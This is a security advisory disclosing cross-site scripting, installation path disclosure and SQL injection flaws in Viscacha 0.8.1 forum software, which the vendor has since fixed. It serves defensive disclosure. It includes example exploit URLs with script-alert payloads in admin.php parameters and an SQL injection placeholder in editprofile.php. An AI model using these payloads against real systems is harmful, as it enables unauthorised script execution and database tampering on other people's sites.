Total Tests:

Multiple Vulnerabilities in Viscacha

Advisory ID:HTB22919
Product:Viscacha
Vendor:MaMo Net
Vulnerable Versions:0.8.1 and probably prior
Tested Version:0.8.1
Advisory Publication:March 24, 2011 [without technical details]
Vendor Notification:March 24, 2011
Public Disclosure:April 7, 2011
Vulnerability Type:Cross-Site Scripting [CWE-79]
Information Exposure Through Externally-generated Error Message [CWE-211]
SQL Injection [CWE-89]
Risk Level:High
CVSSv2 Base Scores:2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
5 (AV:N/AC:L/Au:N/C:P/I:N/A:N)
7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Viscacha which could be exploited to perform cross-site scripting attacks and disclose potentially sensitive information.

1) Cross-site scripting (XSS) vulnerabilities in Viscacha
1.1 The vulnerability exists due to input sanitation error in multiple parameters in admin.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation examples:
http://[host]/admin.php?action=designs&job=templates_file_history&file=<scri pt>alert("XSS");</script >
http://[host]/admin.php?action=designs&job=templates_file_revert&dir="<sc ript>alert("XSS");</scri pt>
http://[host]/admin.php?action=designs&job=templates_file_edit2&dir="<s cript>alert("XSS");</scr ipt>
http://[host]/admin.php?action=designs&job=templates_file_delete&dir=" <script>alert("XSS");</s cript>
http://[host]/admin.php?action=explorer&job=newdir&path="<script>ale rt("XSS");</script>
htt p://[host]//admin.php?action=explorer&job=chmod&path="<script>alert("XSS");< /script>


2) Installation path disclosure weakness in Viscacha
The weakness exists due to application reveals the full path to installation directory in an error message. A remote attacker can directly access the editprofile.php script and gain knowledge of the web root directory and other potentially sensitive information.
Exploitation example:
http://[host]/editprofile.php?action=addabo
http://[host]/editprofile.php?a ction=removeabo


3) SQL injection vulnerability in Viscacha
The vulnerability exists due to input sanitation error in URL in editprofile.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary SQL commands in application`s database. Successful exploitation may allow an attacker to read, modify, add or delete arbitrary data in the database.
Exploitation example:
http://[host]/editprofile.php?action=abos2&digest[1'SQL_CODE_HERE]=1

How to Detect Cross-Site Scripting Vulnerabilities
Website Security Test
  • GDPR & PCI DSS Test
  • Website CMS Security Test
  • CSP & HTTP Headers Check
  • WordPress & Drupal Scanning
Try For Free

Solution:
Upgrade to the most recent version


References:
[1] High-Tech Bridge Advisory HTB22919 - https://www.immuniweb.com/advisory/HTB22919 - Multiple Vulnerabilities in Viscacha
[2] Viscacha - viscacha.org - Viscacha is a free bulletin board system with an integrated content management system.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Book a Call Ask a Question
Close
Talk to ImmuniWeb Experts
ImmuniWeb AI Platform
Have a Technical Question?

Our security experts will answer within
one business day. No obligations.

Have a Sales Question?
Email:
Tel: +41 22 560 6800 (Switzerland)
Tel: +1 720 605 9147 (USA)
*
*
*
*
Your data will stay private and confidential